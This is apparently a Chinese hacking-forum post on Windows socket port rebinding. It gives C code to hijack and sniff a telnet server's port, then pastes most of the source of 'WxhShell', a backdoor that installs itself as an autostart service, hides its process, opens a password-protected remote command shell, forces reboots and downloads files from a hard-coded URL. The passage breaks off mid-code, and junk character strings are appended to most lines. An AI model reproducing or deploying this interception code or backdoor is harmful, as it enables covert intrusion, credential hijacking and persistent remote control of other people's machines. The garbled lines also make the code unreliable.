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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :*#AJV)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .Xh^L  
1=O Xi!G  
  saddr.sin_family = AF_INET; _S/bwPj|~y  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z?_c:]D  
(L8H.|.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I-4csw<Qy  
gIep6nq1`|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ' A= x  
aDR<5_Yb  
  这意味着什么?意味着可以进行如下的攻击: e{.2*>pH  
"m):"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 { dwm>a  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l%.3hId-  
}m/aigA[1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d~uK/R-KD  
Z T95g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m C_v!nL.  
tTe\#o`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |HI =ykfI  
EbuOPa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q .nsGbl  
[3;J,P=&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m!a<\0^  
I5>HB;Q  
  #include W}+Q!T=  
  #include ]K?z|&N|HK  
  #include 4vPQuk!  
  #include    EU TTeFp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   beEdH>  
  int main() k uU,7 <o  
  { ,d<wEB?\`  
  WORD wVersionRequested; /!oi`8D  
  DWORD ret; ~UB@IV6O  
  WSADATA wsaData; Sm;&2"  
  BOOL val; 0FsGqFt  
  SOCKADDR_IN saddr; {>fvyF  
  SOCKADDR_IN scaddr; IfeG"ua|  
  int err; \06fP4?  
  SOCKET s; }3j/%oN.(  
  SOCKET sc; 1\{0z3P  
  int caddsize; ' wvZnb  
  HANDLE mt; 1wuLw Ad  
  DWORD tid;   V /$qD  
  wVersionRequested = MAKEWORD( 2, 2 ); .@JXV $Z  
  err = WSAStartup( wVersionRequested, &wsaData ); _ mhP:O  
  if ( err != 0 ) { jL^zS XQB  
  printf("error!WSAStartup failed!\n"); G9:[W"P  
  return -1; prb;q~  
  } 20d[\P(.  
  saddr.sin_family = AF_INET; \=v7'Hp  
   XUfj 0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "]JE]n}Ulg  
X3%7VFy9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U%"c@%B0  
  saddr.sin_port = htons(23); [{ K$sd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F=Z|Ji#  
  { ?Q="w5OOD  
  printf("error!socket failed!\n"); qxG @Zd  
  return -1; m[!t7e  
  } 0Q_AF`"  
  val = TRUE; ;:vbOG#aSN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k]l M%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y b]eWLv  
  { *5hg}[n2  
  printf("error!setsockopt failed!\n"); PbJn8o   
  return -1; *J=`"^BO  
  } 66fvS}x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s[nXr   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BC%t[H} >R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ])'22sY  
2Prr:k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .AH#D}m  
  { ;t:B:4r(j  
  ret=GetLastError(); q El:2<  
  printf("error!bind failed!\n"); X2(TuR*t  
  return -1; A &~G  
  } i*#Gq6qZq  
  listen(s,2); Eh#W*Bg  
  while(1) !F/;WjHz  
  { `]#DdJ_|  
  caddsize = sizeof(scaddr); (WCpaC  
  //接受连接请求 .8uJ%'$)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qS*qHT(u19  
  if(sc!=INVALID_SOCKET) (\e,,C%;  
  { W=&\d`><k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -i:Zi}f  
  if(mt==NULL) ha1 J^e  
  { R}8!~Ma`|  
  printf("Thread Creat Failed!\n"); `LVItP(GUM  
  break; q62TYg}  
  } 79n,bb5  
  } 4gG&u33RrE  
  CloseHandle(mt); GQ[: vX`  
  } 36@)a5  
  closesocket(s); 25XD fi75  
  WSACleanup(); I5wf|wB-  
  return 0; /PE3>"|wE  
  }   o_t2 Z  
  DWORD WINAPI ClientThread(LPVOID lpParam) #yFDC@gH1  
  { i d\0yRBt  
  SOCKET ss = (SOCKET)lpParam; 8O qG{jmG  
  SOCKET sc; n AQB  
  unsigned char buf[4096]; <@.f#  
  SOCKADDR_IN saddr; U`ey7   
  long num; Z=|:D,&  
  DWORD val; |F-_YR  
  DWORD ret; T12?'JL^r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :[#HP66[O5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r4@!QR<h  
  saddr.sin_family = AF_INET; dz5a! e [  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'M=(5p  
  saddr.sin_port = htons(23); w[I%Id;E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jt43+]  
  { _Xlf}BE  
  printf("error!socket failed!\n"); xop9*Z$  
  return -1;  4C/  
  } q{ n~v>wU  
  val = 100; 0\qbJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w1KLQd:yq  
  { K I  
  ret = GetLastError(); Fx~=mYU  
  return -1; y-cRqIM  
  } ^DS9D:oE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h$)!eSu  
  { +M$2:[xRT  
  ret = GetLastError(); lj/ ?P9  
  return -1; %0YwaxXPn7  
  } YC - -&66  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -Mb nYs)  
  { hzg&OW=:  
  printf("error!socket connect failed!\n"); INby0S  
  closesocket(sc); 1 y$Bz?4  
  closesocket(ss); T)6p,l  
  return -1; IVzJ|  
  } ,@tY D(Z  
  while(1) 9w[7X"#n  
  { A7>0Pn%D3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3Ew-Ia%A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vRp =L54z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V.Dqbv  
  num = recv(ss,buf,4096,0); g05:A0X#  
  if(num>0) 'uGn1|Pvy  
  send(sc,buf,num,0); \9geDX9A  
  else if(num==0) [?r`8K2!,  
  break; T3u%V_  
  num = recv(sc,buf,4096,0); )TnxsFC  
  if(num>0) Lfx&DK !  
  send(ss,buf,num,0); qXR>Z=K<  
  else if(num==0) F8$.K*tT  
  break; M&Sjo' ( .  
  } |lm   
  closesocket(ss);  poGF  
  closesocket(sc); 3kx/Q#  
  return 0 ; i=OPl  
  } /Z';# G,z  
wQgW9546  
j#$ R.  
========================================================== vQ2kL`@  
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下边附上一个代码,,WXhSHELL rY4{,4V  
&s->,-,  
========================================================== Pni  
t%Vc1H2}  
#include "stdafx.h" U2\g Kg[-Q  
;Xk-hhR  
#include <stdio.h> Z)<ljW  
#include <string.h> _Isju S  
#include <windows.h> SL zL/5s  
#include <winsock2.h> L,*2t JcC<  
#include <winsvc.h> ~cbq5||  
#include <urlmon.h> FU kO$jnO  
U+CZv1  
#pragma comment (lib, "Ws2_32.lib") C=2  
#pragma comment (lib, "urlmon.lib")  Iz*'  
Uh'3c"  
#define MAX_USER   100 // 最大客户端连接数 jw?/@(AC6  
#define BUF_SOCK   200 // sock buffer ;:,hdFap  
#define KEY_BUFF   255 // 输入 buffer "*CQ<@+  
Vcz ExP  
#define REBOOT     0   // 重启 j2\bCGY  
#define SHUTDOWN   1   // 关机 <k-&Lh:o3  
=o^oMn  
#define DEF_PORT   5000 // 监听端口 XrS.[  
-^]8w QU  
#define REG_LEN     16   // 注册表键长度 xQ\/6|  
#define SVC_LEN     80   // NT服务名长度 kE;h[No&K  
D+lzISp~e  
// 从dll定义API +ObP[F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7(rNJPrU~=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [tGAo/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D^yZ!}Kl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -'BC*fVr  
/{vv n  
// wxhshell配置信息 _W'>?e0i  
struct WSCFG { s%z\szd*  
  int ws_port;         // 监听端口 A&*lb7X  
  char ws_passstr[REG_LEN]; // 口令 )XV|D  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,X25-OFZ  
  char ws_regname[REG_LEN]; // 注册表键名 j|gQe .,1  
  char ws_svcname[REG_LEN]; // 服务名 28 [hp[<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3TVp oB`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B38_1X7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EtvZk9d6h*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p \A^kX^5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o%XAw   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kW0|\  
[* ,k  
}; A;7p  
7nM]E_  
// default Wxhshell configuration xpCzx=n3.m  
struct WSCFG wscfg={DEF_PORT, +EjH9;gx  
    "xuhuanlingzhe", =cI -<0QSn  
    1, 0h/gqlTK1  
    "Wxhshell", T;K@3]FbX  
    "Wxhshell", E/2kX3}  
            "WxhShell Service", O32p8AxEz  
    "Wrsky Windows CmdShell Service", 'Vq <;.A  
    "Please Input Your Password: ", Dg3S n|!f  
  1, o7 ^t- L  
  "http://www.wrsky.com/wxhshell.exe", OD7tM0Wn  
  "Wxhshell.exe" iU"jV*P]  
    }; EvSo|}JA[  
c]LE9<G  
// 消息定义模块 R#gt~]x6k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nt. A X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q%)da)0:c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #$7d1bx  
char *msg_ws_ext="\n\rExit."; Xu\FcQ{  
char *msg_ws_end="\n\rQuit."; rDFD rviW_  
char *msg_ws_boot="\n\rReboot..."; BwMi@r =  
char *msg_ws_poff="\n\rShutdown..."; is}6cR  
char *msg_ws_down="\n\rSave to "; T9w;4XF  
eH,r%r,  
char *msg_ws_err="\n\rErr!"; xj`ni G  
char *msg_ws_ok="\n\rOK!"; !iUFD*~r~  
>a/]8A  
char ExeFile[MAX_PATH]; "[M,PI!B  
int nUser = 0; GcN[bH(@  
HANDLE handles[MAX_USER]; :EJ8^'0Q  
int OsIsNt; -kFEVJbUyc  
h6J0b_3h4  
SERVICE_STATUS       serviceStatus; M"# >?6{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x&}pM}ea  
"2} {lu  
// 函数声明 j#L"fW^GM  
int Install(void); s |B  
int Uninstall(void); 4M4Y2f BH  
int DownloadFile(char *sURL, SOCKET wsh); DP{kin"4I  
int Boot(int flag); K8`Jl=}z%&  
void HideProc(void); JL gk?  
int GetOsVer(void); !SRElb A;i  
int Wxhshell(SOCKET wsl); mU0j K@^&M  
void TalkWithClient(void *cs); qQK0s*^W  
int CmdShell(SOCKET sock); r9nH6 Md\  
int StartFromService(void); ,dn6z#pb+  
int StartWxhshell(LPSTR lpCmdLine); tgmG#b*  
RW| LL@r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mHCp^g4Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ) H=}bqn  
8T"C]  
// 数据结构和表定义 yF2|w=!  
SERVICE_TABLE_ENTRY DispatchTable[] = tg =ClZ-  
{ ^w]N#%k\H  
{wscfg.ws_svcname, NTServiceMain}, yKupPp);  
{NULL, NULL} .}IxZM[}D  
}; ^6R Sbi\  
@ 3n;>oi  
// 自我安装 -M=#U\D  
int Install(void) *Iy5 V7`KU  
{ 5?6U@??]  
  char svExeFile[MAX_PATH]; w _zUA'n+  
  HKEY key; X*ZTn 7<  
  strcpy(svExeFile,ExeFile); R\DdU-k  
J)(KGdk  
// 如果是win9x系统,修改注册表设为自启动 3"v k$  
if(!OsIsNt) { fKEZlrw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /$ a>f>EJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mL\_C9k,n  
  RegCloseKey(key); WRa1VU&f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fu0"Asxce  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `y"(\1  
  RegCloseKey(key); W)F<<B,  
  return 0; JF{yhx,+ p  
    } U~9Y9qzy,  
  } %#5\^4$z|N  
} Dsq_}6l{  
else { D*7JE  
Y)~Y;;/G  
// 如果是NT以上系统,安装为系统服务 tYb8a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >4I,9TO  
if (schSCManager!=0) Gg'sgn   
{ p@B/S(Xi  
  SC_HANDLE schService = CreateService nE"##2X  
  ( ^d6}rtG  
  schSCManager, %{M_\Ae#  
  wscfg.ws_svcname, IQz"FH?  
  wscfg.ws_svcdisp, {jyI7 r#X  
  SERVICE_ALL_ACCESS, ]rwHr;.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kH;DAphk  
  SERVICE_AUTO_START, =[A5qwyv  
  SERVICE_ERROR_NORMAL, ]oOSL=~c  
  svExeFile, x? 10^~R  
  NULL, %63zQFk  
  NULL, h"C7l#u  
  NULL, U&F1}P$fb  
  NULL, 2pr#qh8  
  NULL 7Iz%Jty  
  ); ;4(ULJ*  
  if (schService!=0) *[VO03  
  { QuB`}rfLf  
  CloseServiceHandle(schService); V$ 8go#5  
  CloseServiceHandle(schSCManager); .\Z/j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kHWW\?O  
  strcat(svExeFile,wscfg.ws_svcname); 2EO WbN}M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O_v8R7 {  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +/"Ws '5E  
  RegCloseKey(key); 7hV9nuW  
  return 0; =2Vs))>Y  
    } mGZJ$|  
  } g=ehAg  
  CloseServiceHandle(schSCManager); c#)!-5E~H  
} 11"- taWj  
} /#<R  
sxG8 jD  
return 1; +,;"?j6<p  
} )Cas0~RM  
c<k=8P   
// 自我卸载 \@\r`=WgB  
int Uninstall(void) ajM3Uwnr  
{ a:q>7V|%$  
  HKEY key; :| s  
#'5C*RO  
if(!OsIsNt) { !O*'mX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kdgU1T@y.  
  RegDeleteValue(key,wscfg.ws_regname); 0f_+h %%=  
  RegCloseKey(key); J\@ r ~x5G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,0hk)Vvr3  
  RegDeleteValue(key,wscfg.ws_regname); E =*82Y=B  
  RegCloseKey(key); xX !`0T7Y  
  return 0; x]6-r`O7r  
  } |\}&mBR  
} w}20l F  
} h+\+9^l6|  
else { 3p+V~n.+  
TTDcVG_}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )a7nr<)aU  
if (schSCManager!=0) "V= IG{.  
{ I ~U1vtgp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R^p'gQc$   
  if (schService!=0) \X*Es.;|x  
  { p&s~O,Bw$  
  if(DeleteService(schService)!=0) { TmS-w  
  CloseServiceHandle(schService); 3-=f@uH!  
  CloseServiceHandle(schSCManager); &g;&=<#I  
  return 0; I>bO<T`  
  } $q$G  
  CloseServiceHandle(schService); ~|:U"w\[=  
  } 7:M`k#oDP  
  CloseServiceHandle(schSCManager); x>]14 bLz  
} icrcP ~$A  
} MQ#nP_i  
xS'Kr.S  
return 1; h&| S*  
} ShIJ6LZ  
`MLOf  
// 从指定url下载文件 o){\qhLp  
int DownloadFile(char *sURL, SOCKET wsh) xCQLfXK7  
{ *2T"lpl  
  HRESULT hr; G(3wI}  
char seps[]= "/"; )K}-z+$)k  
char *token; JhU"akoK  
char *file; ufF>I  
char myURL[MAX_PATH]; uGc0Lv4i/  
char myFILE[MAX_PATH]; mEZHrr J  
Ueb&<tS  
strcpy(myURL,sURL); c 98^~vR]]  
  token=strtok(myURL,seps); {V^|9j:\K  
  while(token!=NULL) G`e!WvC  
  { J+(B]8aj  
    file=token; Pf:;iXH?  
  token=strtok(NULL,seps); w paI}H#  
  } sU$<v( `"  
#iiXJnG  
GetCurrentDirectory(MAX_PATH,myFILE); M*-]<!))7  
strcat(myFILE, "\\"); <-h[I&."  
strcat(myFILE, file); {y%|Io`P  
  send(wsh,myFILE,strlen(myFILE),0); '>^!a!<G  
send(wsh,"...",3,0); !jTxMf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h}U>K4BJ  
  if(hr==S_OK) Wt M1nnJp  
return 0; B'v~0Kau  
else yno X=#`  
return 1; 5-RA<d#  
%HD0N&  
} r [E4/?_  
/8? u2 q  
// 系统电源模块 *%ta5a  
int Boot(int flag) tch;_7?  
{ M{jJ>S{g  
  HANDLE hToken; VeipM  
  TOKEN_PRIVILEGES tkp; R xA:>yOPn  
v&)G~cz  
  if(OsIsNt) { 0t?g!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @s|G18@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y'+mC  
    tkp.PrivilegeCount = 1; GboZ T68  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [y&uc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b:Tv Ta  
if(flag==REBOOT) { moD)^':.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6W/uoH=;  
  return 0; 2w;Cw~<=d  
} H1d2WNr[  
else { *AG01# ZF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J(Fk@{!F.*  
  return 0; F|&%Z(@a  
} 4d8}g25C  
  } +&4@HHU{G  
  else { &U_T1-UR2  
if(flag==REBOOT) { mM2DZ^"j(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o&)v{q  
  return 0; '[vC C'  
} ~[Z(6yX  
else { "uP~hFA7M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JYR^k=  
  return 0; lxfv'A  
} ?BR Z){)  
} 2t;3_C  
qV)hCc/ ~  
return 1; i.0d>G><@  
} `Ip``I#A  
bH g 0,N  
// win9x进程隐藏模块 %F87"v~  
void HideProc(void) xQ! Va  
{ IqFmJs|C  
i 2 ='>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p+;;01Z+_  
  if ( hKernel != NULL ) 5Y>fVq{U?;  
  { |F +n7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _LFABG=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i8!err._  
    FreeLibrary(hKernel); XZ"oOE0=  
  } >?jmeD3u  
Q">wl  
return; 7|k2~\@q  
} a5/r|BiBK  
`-g$ 0lm7  
// 获取操作系统版本 XPLm`Q|1#t  
int GetOsVer(void) qu0 q LM  
{ i(4.7{*  
  OSVERSIONINFO winfo; gNC'kCx0c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z+c'-!e/  
  GetVersionEx(&winfo);  ]l}bk]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wlDo(]mj=O  
  return 1; 8:U0M'}u>  
  else epI~w  
  return 0; [W99}bi$  
} L>pSE'}  
~i0>[S3 '  
// 客户端句柄模块 xLP8*lvy  
int Wxhshell(SOCKET wsl) 24*3m&fA*K  
{ t$PJ*F67M  
  SOCKET wsh; (ZP e{;L.  
  struct sockaddr_in client; 1U(!%},  
  DWORD myID; S`& yVzv  
k>=wwPy  
  while(nUser<MAX_USER) >:OP+Vc  
{ AMN`bgxW  
  int nSize=sizeof(client); _ucixM#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^97[(89G9  
  if(wsh==INVALID_SOCKET) return 1; Ky*xAx:  
[$M l;K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Yc5<Y-W  
if(handles[nUser]==0) Pk5 %lu  
  closesocket(wsh); y!x-R !3  
else -|P7e  
  nUser++; ;\]DZV4?)r  
  } [6?x 6_M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EcPvE=^c  
+&* >FeJY  
  return 0; a YY1*^  
} u4xJ-Vu  
Ls*Vz,3!5  
// 关闭 socket &zPM# Q  
void CloseIt(SOCKET wsh) u1|v3/Q-  
{ qc3?Aplj  
closesocket(wsh); W+.?J 60  
nUser--; GYonb) F  
ExitThread(0); Ok phbAX  
} 7'5/T]Z  
d;a"rq@a)  
// 客户端请求句柄 7o-}86x#  
void TalkWithClient(void *cs) J?Rp  
{ V/ZWyYxjLi  
@^`5;JiUk  
  SOCKET wsh=(SOCKET)cs; iHWt;]  
  char pwd[SVC_LEN]; mG%cE(j*D  
  char cmd[KEY_BUFF]; 1(kd3 qX  
char chr[1]; cGW L'r)P  
int i,j; {XW>3 "  
P.~sNd oJ  
  while (nUser < MAX_USER) { { h;i x  
`KE(R8y  
if(wscfg.ws_passstr) { 7>gW2 m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Si|8xq$E;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7A  
  //ZeroMemory(pwd,KEY_BUFF); AI .2os*  
      i=0; ve4 QS P  
  while(i<SVC_LEN) { *T{KpiuP  
Ds\f?\Em  
  // 设置超时 aX~' gq>  
  fd_set FdRead; xH-} <7  
  struct timeval TimeOut; 5;9.&f  
  FD_ZERO(&FdRead); )' 2vUt`_7  
  FD_SET(wsh,&FdRead); 5hB2:$C  
  TimeOut.tv_sec=8; DE?@8k  
  TimeOut.tv_usec=0; =OR&,xt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x_EU.924uY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &0mhO+g   
N mN:x&/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6uFGq)4p@  
  pwd=chr[0]; ND5E`Va5R  
  if(chr[0]==0xd || chr[0]==0xa) { /PkOF ((  
  pwd=0; lqKwjJ tX  
  break; C,u;l~zz  
  } .|K\1qGW0  
  i++;  uMBb=   
    } *1}vn%wvn  
^N~Jm&I  
  // 如果是非法用户,关闭 socket :wJ!rn,4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w2tkJcQ3  
} .gI9jRdKw  
UKSI"/8I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c:}K(yAdd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ||?wRMV  
OL[_2m*;9p  
while(1) { q{.~=~  
%;G!gJeE  
  ZeroMemory(cmd,KEY_BUFF); yNQ 9~P2  
N?Ss/by8Sg  
      // 自动支持客户端 telnet标准   Os1y8ui  
  j=0; `RE1q)o}8M  
  while(j<KEY_BUFF) { j0jam:.p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PvdR)ZE m  
  cmd[j]=chr[0]; Fw;Y)y=O  
  if(chr[0]==0xa || chr[0]==0xd) { 14\!FCe)!  
  cmd[j]=0; o-t!z'\lO  
  break; yDw^xGws  
  } "?sLi  
  j++; E9[8th,t  
    } '?!2h'  
H %PIE1_  
  // 下载文件 Q_a%$a.rV  
  if(strstr(cmd,"http://")) { Y'%_--  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^F1zkIE  
  if(DownloadFile(cmd,wsh)) :Ee5:S   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fKT(.VN q5  
  else GgjBLe=C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @i:_ JOl  
  } VAR/"  
  else { 6UJBE<ntj  
4HDQj]z/  
    switch(cmd[0]) { dzMI5fA<_  
  4^B:Q9B)  
  // 帮助 Py,@or7n  
  case '?': { ?jzadCel  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cl-i6[F  
    break; }(XvI^K[^  
  } UJF }Ye  
  // 安装 (.3L'+F  
  case 'i': { l@YpgyqaL  
    if(Install()) Wkv **X}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Ryu`b  
    else JXnPKAN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c5rQkDW  
    break; IA;KEGJ  
    } mwTn}h3N  
  // 卸载 ]QU52R@M  
  case 'r': { Onoi6^G  
    if(Uninstall()) ^q$vyY   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K+mtuB]yr  
    else Qi7^z;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,K6]Q|U@r  
    break; {1YT a:evl  
    } Vd^`Hv&i  
  // 显示 wxhshell 所在路径 73(T+6`  
  case 'p': { Xc5[d`]  
    char svExeFile[MAX_PATH]; ;3sT>UB  
    strcpy(svExeFile,"\n\r"); U^0vLyqW^5  
      strcat(svExeFile,ExeFile); .< vg[  
        send(wsh,svExeFile,strlen(svExeFile),0); 7\U1K^q  
    break; /ADxHw`k  
    } IJXH_H_%*  
  // 重启 LDvF)Eg  
  case 'b': { = -pss 47  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .^.UJo;4G  
    if(Boot(REBOOT)) 1y"37;x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cuk2\> Xl  
    else { Nd!2 @?V4  
    closesocket(wsh); "x$S%:p  
    ExitThread(0); .Na>BR\F  
    } Q84KU8?d  
    break; W{m0z+N[B  
    } N<>dg  
  // 关机 _ zmx  
  case 'd': { d8RpL{9\7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p go\(K0  
    if(Boot(SHUTDOWN)) 8rp-Xi W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = xX^  
